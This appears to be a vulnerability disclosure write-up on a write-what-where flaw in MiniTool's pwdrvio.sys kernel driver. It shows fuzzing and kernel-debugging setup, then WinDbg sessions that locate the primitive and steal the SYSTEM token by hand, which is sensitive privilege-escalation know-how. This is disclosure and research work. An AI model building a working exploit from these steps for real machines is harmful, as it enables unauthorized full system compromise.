
Project Date : Feb 2026 / Memory corruption vulnerability within the kernel driver of MiniTool. Demonstrates a debugger-assisted arbitrary kernel write primitive that can be leveraged toward privilege escalation.
Kernel write-what-where condition within the pwdrvio.sys kernel driver of MiniTool. Demonstrates a debugger-assisted arbitrary kernel write primitive that can be leveraged toward privilege escalation.
https://github.com/user-attachments/assets/ac81d7ce-0be7-40a5-9334-c54350e6e30e
Arbitrary Kernel Write → Local Privilege Escalation (LPE)
Severity: HIGH
CVSS 3.1 Score: 7.8 (LPE)
CVSS Vector String:
LPE: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Prerequisites:
Exploitation Results: LPE - Debugger-assisted privilege escalation demonstrated (NT AUTHORITY / SYSTEM), complete system compromise
Date: February 5, 2026
Activity: Systematic kernel driver fuzzing using custom Python fuzzer
Discovery Process:
Target Selection:
pwdrvio.sys as oldest driver (timestamp: June 16, 2009)C:\Windows\System32\drivers\pwdrvio.sys\\.\PartitionWizardDiskAccesser\0Initial Fuzzing:
ctypes to interface with driverWriteFile/DeviceIoControl to driver deviceVerifier Activation:
verifier /standard /driver pwdrvio.sys
Verifier Configuration:
Verifier Flags: 0x001209bb
Standard Flags Enabled:
[X] Special pool
[X] Force IRQL checking
[X] Pool tracking
[X] I/O verification
[X] Deadlock detection
[X] DMA checking
[X] Security checks
[X] Miscellaneous checks
[X] DDI compliance checking
Date: February 5-6, 2026
Activity: Established kernel debugging environment for root cause analysis
Setup Procedure:
VMware Serial Port Configuration:
VMware Workstation Pro → VM Settings
├─ Add Hardware → Serial Port
├─ Connection: "Use named pipe"
├─ Path: \\.\pipe\com_1
├─ End: "This is the server"
└─ I/O Mode: "Yield CPU on poll" ✓
Guest OS Configuration:
REM Administrator Command Prompt
bcdedit /debug on
bcdedit /dbgsettings serial debugport:1 baudrate:115200
shutdown /r /t 0
Host WinDbg Connection:
WinDbg → File → Attach to Kernel
├─ Port: \\.\pipe\com_1
├─ Baud Rate: 115200
├─ Pipe: ✓
└─ Reconnect: ✓
Result: "Kernel Debugger connection established."
Date: February 6, 2026
Activity: Identified arbitrary kernel write primitive
Analysis Steps:
Module Analysis:
1: kd> lm m pwdrvio
start end module name
fffff805`315f0000 fffff805`315f8000 pwdrvio (Jun 16 2009)
1: kd> !drvobj pwdrvio 2
Driver object (fffff805`XXXXXXXX) is for:
\Driver\pwdrvio
DriverEntry: fffff805`315f6008
DriverUnload: fffff805`315f1060
Dispatch Routines:
[00] IRP_MJ_CREATE fffff805`315f108c
[02] IRP_MJ_CLOSE fffff805`315f12f8
[03] IRP_MJ_READ fffff805`315f16c4
[04] IRP_MJ_WRITE fffff805`315f1564 ← Target
[0e] IRP_MJ_DEVICE_CONTROL fffff805`315f1404
Vulnerable Instruction Discovery:
Set breakpoint on write handler:
1: kd> bp pwdrvio+0x1641
1: kd> g
Breakpoint 0 hit
pwdrvio+0x1641:
fffff805`315f1641 498943f0 mov qword ptr [r11-10h],rax
Critical Finding: Arbitrary write primitive identified!
RAX) to address [R11-0x10]R11 is loaded from stack frame: mov r11, qword ptr [rbp+0xB8h]Register State Analysis:
0: kd> r
rax=fffff805315f1364 ← Kernel code pointer
r11=ffffe60f84c38750 ← Destination address (controlled via stack)
rbp=ffffe60f84c38610 ← IRP stack frame
0: kd> dq @rbp+0xB8 L1
ffffe60f`84c386c8 ffffe60f`84c38750 ← R11 loaded from here
Date: February 6-7, 2026
Activity: Traced vulnerability from User-After-Free to write-what-where condition
Memory Corruption Chain:
IRP Allocation:
0: kd> !pool @rbp
Pool page ffffe60f84c38610 region is Special pool
*ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+
Pooltag Irp+ : I/O verifier allocated IRP packets
Buffer Relationship:
0: kd> r rsi
rsi=ffffe60f828df900 ← User buffer location
0: kd> ? @rbp - @rsi
Evaluate expression: 35823344 = 00000000`02229ef0 ← 35MB difference!
Analysis: User buffer is NOT directly accessible from RBP frame
RBP+0xB8 offset does not point into user-controlled bufferUse-After-Free Condition:
The driver maintains dangling pointers in the IRP structure:
// Ghidra decompilation (pwdrvio+0x1564)
longlong lVar1 = *(longlong *)(param_2 + 0xb8); // Load from IRP
// No validation!
lVar5 = IoBuildAsynchronousFsdRequest(...);
// Write to [lVar1 - 0x10]
*(code **)(lVar3 + -0x10) = FUN_00011364; // Arbitrary write!
Date: February 7-8, 2026
Activity: Developed token stealing technique
Exploitation Strategy:
Objective: Overwrite current process token with SYSTEM token
Windows EPROCESS Structure:
+0x000 Pcb : _KPROCESS
...
+0x4b8 Token : _EX_FAST_REF ← Token pointer location
Token Stealing Procedure:
Locate SYSTEM Process:
0: kd> !process 4 0
PROCESS ffffe7875ac86200
SessionId: none Cid: 0004 Peb: 00000000
Image: System
0: kd> dq ffffe7875ac86200+4b8 L1
ffffe787`5ac866b8 ffffc08e`6642f04f ← SYSTEM token value
Locate Attacker Process:
0: kd> !process 0 0 poc1.exe
PROCESS ffffe78760150080
SessionId: 1 Cid: 0678
Image: poc1.exe
0: kd> dq ffffe78760150080+4b8 L1
ffffe787`60150538 ffffc08e`6c37a066 ← Standard user token
Calculate Target Address:
Target = TokenPointer + 0x10
= 0xffffe78760150538 + 0x10
= 0xffffe78760150548
Reason: Instruction uses [R11-0x10], so:
(Target + 0x10) - 0x10 = Target
Perform Token Overwrite:
0: kd> r rax = ffffc08e6642f04f ; SYSTEM token
0: kd> r r11 = ffffe78760150548 ; Target address
0: kd> p ; Execute: mov [r11-10h],rax
0: kd> dq ffffe78760150538 L1 ; Verify
ffffe787`60150538 ffffc08e`6642f04f ← Token successfully changed!